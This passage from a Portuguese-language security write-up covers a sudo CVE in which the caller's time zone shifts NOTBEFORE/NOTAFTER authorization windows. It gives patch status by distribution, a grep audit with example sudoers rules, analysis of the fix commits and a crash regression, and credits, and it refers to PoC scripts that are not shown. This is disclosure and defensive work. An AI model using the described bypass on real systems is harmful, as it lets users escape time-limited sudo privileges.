Duas observações sobre a leitura dessa cronologia. A ausência de entrada no NEWS não indica correção deliberadamente omitida: neste projeto o NEWS é escrito em commits de lote separados, e desde o último lote (20a8d27ea, 2026-01-16) entraram 110 commits no main sem que nenhum tocasse o arquivo. E o intervalo até a atribuição da CVE acompanha o ciclo de release do projeto, em que CVE e release são publicadas juntas; o 1.9.18 teve rc1 em janeiro de 2026 e ainda não saiu.

Situação atual e mitigação

Nenhuma release do sudo contém a correção. Verificado em 2026-09-25 por git ls-remote --tags: a tag mais recente é v1.9.17p2, de 25 de julho de 2025. A CVE é pública e o patch está disponível desde agosto, mas não há release que o inclua.

Distribuição Estado em 2026-09-25
Red Hat RHSA-2026:71609 (2026-09-24), sudo-1.9.17-16.p2.2.hum1, restrito a Red Hat Hardened Images. RHEL 7–10 e RHIVOS com análise por stream pendente na publicação
Ubuntu "Needs evaluation" em todas as releases listadas, de 14.04 a 26.04 LTS. Nenhuma versão corrigida publicada. Prioridade Medium
NixOS PR #566451 aberto e mergeado em 2026-09-24, em staging
sudo.ws Sem advisory para esta CVE. O mais recente na página do projeto continua sendo o da CVE-2025-32463, de 2025-06-30

Auditoria de configuração

grep -rE 'NOT(BEFORE|AFTER)=' /etc/sudoers /etc/sudoers.d/

Qualquer timestamp sem o Z final e sem offset explícito está na forma afetada. A correção de configuração é acrescentar o Z, que força o ramo timegm() e dispensa upgrade. Enquanto não houver release com o patch, essa é a única ação disponível sem aplicação manual da correção.

# forma afetada — hora local, resolvida no fuso do chamador
poc ALL=(ALL) NOTAFTER=20260827120000  /usr/bin/id

# forma nao afetada — ramo timegm(), independente de fuso
poc ALL=(ALL) NOTAFTER=20260827120000Z /usr/bin/id
Limitação do sudo -l para auditoria

O sudo -l formata todo Date_Spec através de gmtime() e sempre anexa um Z (plugins/sudoers/display.c:229). Uma regra escrita NOTAFTER=20260827221423 é exibida como NOTAFTER=20260827221423Z. A saída normaliza justamente o detalhe que distingue a forma afetada da não afetada, de modo que o sudo -l não serve para essa auditoria. O cvtsudoers e o fmtsudoers têm o mesmo comportamento. A verificação precisa ler o /etc/sudoers diretamente.

A correção adotada e o precedente do locale

Duas rotas foram propostas no advisory: remover o TZ do ambiente durante toda a decisão, ou fazer o parse_gentime() não depender de fuso. A escolha entre elas envolve definir se a "hora local" da forma sem sufixo se refere ao host ou ao chamador, o que é uma decisão de semântica do projeto.

O sudo já aplica o primeiro padrão a outra variável de ambiente. O sudoers_lookup() é envolvido por sudoers_setlocale(SUDOERS_LOCALE_SUDOERS, …) em plugins/sudoers/sudoers.c:398-402, de modo que a decisão inteira roda sob um locale conhecido em vez do locale do chamador. O mesmo tratamento não existia para o fuso.

A segunda correção: 194042b55

Um dia após o 1820a349 entrou o 194042b55, "Copy envp → submit_envp instead of replacing the environ pointer", no mesmo bloco. O mecanismo de proteção muda: deixa de vir da substituição do ponteiro e passa a depender de ordem de execução — o os_init() (src/sudo.c:158) precisa rodar antes do set_time_zone() (:165). A proteção se mantém, mas qualquer setenv/unsetenv futuro deslocado para antes do os_init() altera esse resultado.

O commit também introduziu uma regressão de disponibilidade local. Com ambiente vazio, env -i sudo -V termina em SIGSEGV: o submit_envp permanece NULL quando envc == 0 (src/sudo.c:376) e é desreferenciado em plugins/sudoers/sudoers.c:1055, pela via do plugin de auditoria.

ASan   SEGV on unknown address 0x000000000000  (READ, pagina zero)
       init_vars -> sudoers_init -> sudoers_audit_open -> audit_open -> main
UBSan  sudoers.c:1055:31: load of null pointer of type 'char *'

Não é vulnerabilidade: não há ganho de privilégio, não há core dump e nada persiste. O commit nunca chegou a uma release.

A observação relevante é de consistência interna: os demais pontos da árvore já tratam um ambiente de usuário NULL como caso legal — env.c:258, iolog.c:608, log_client.c:863 e eventlog.c:828. O sudoers.c:1055 é o único que não faz essa verificação.

Referências

Fonte Conteúdo Link
Registro Red Hat (CNA) Descrição oficial, CWE-863, vetor 7.8, mitigação com grep e reconhecimento nominal access.redhat.com
Commit da correção src/sudo.c, +24/−7. A mensagem registra que a mudança anterior "was not effective since the mktime() function re-reads the TZ environment variable each time it is called" github.com
Post oss-security Anúncio de 2026-09-24: mecanismo, relação com o db669167c, versões, CVSS, CWE e cronologia openwall.com
CVE Program Registro canônico cve.org
Bugzilla Red Hat #2539327 Ticket de origem do registro bugzilla.redhat.com
RHSA-2026:71609 2026-09-24, sudo-1.9.17-16.p2.2.hum1, restrito a Red Hat Hardened Images access.redhat.com
Ubuntu Security Prioridade Medium; "Needs evaluation" de 14.04 a 26.04 LTS; nenhuma versão corrigida ubuntu.com
NixOS PR #566451 Aberto e mergeado em 2026-09-24, em staging github.com
Advisories do sudo Sem entrada para esta CVE. O mais recente continua sendo o da CVE-2025-32463, de 2025-06-30 sudo.ws
Tenable Published 2026-09-23, modified 2026-09-24, com lista de referências tenable.com
PoC e reprodução Os scripts deste artigo, com os controles C1–C6 e o lab em contêiner github.com

Atribuição. O reporte original da questão de base — TZ influencia NOTBEFORE/NOTAFTER — não é meu: é da XlabAI Team of Tencent Xuanwu Lab, da Atuin Automated Vulnerability Discovery Engine e de Guannan Wang, Zhanpeng Liu e Guancheng Li, creditados no commit db669167c.

A CVE-2026-96512 é um achado distinto e individual, creditado a mim sob o nome Ermenson Junior e registrado pela Red Hat como "Independent security research", sem patrocínio: a correção publicada para aquele reporte é incompleta e contornável. A proteção instalada pelo db669167c cobre o cache de fuso da glibc, e com ele os timestamps de log, mas não alcança o mktime() de gentime.c:156, onde a autorização é decidida. Numa árvore que já contém aquela correção, o deslocamento da janela permanece integralmente reproduzível, como mostra a comparação entre as duas árvores. O próprio mantenedor registra o ponto na mensagem do commit 1820a349: a mudança anterior "was not effective since the mktime() function re-reads the TZ environment variable each time it is called".

Compartilhe:

Ermenson Marcos Rodrigues Junior

Segurança Ofensiva | Pentester | Red Team

Analista de Segurança Ofensiva com experiência prática em testes de intrusão. Acredita que compartilhar conhecimento é a melhor forma de crescer na área. Formado pela Desec Security e praticante constante de HTB e TryHackMe.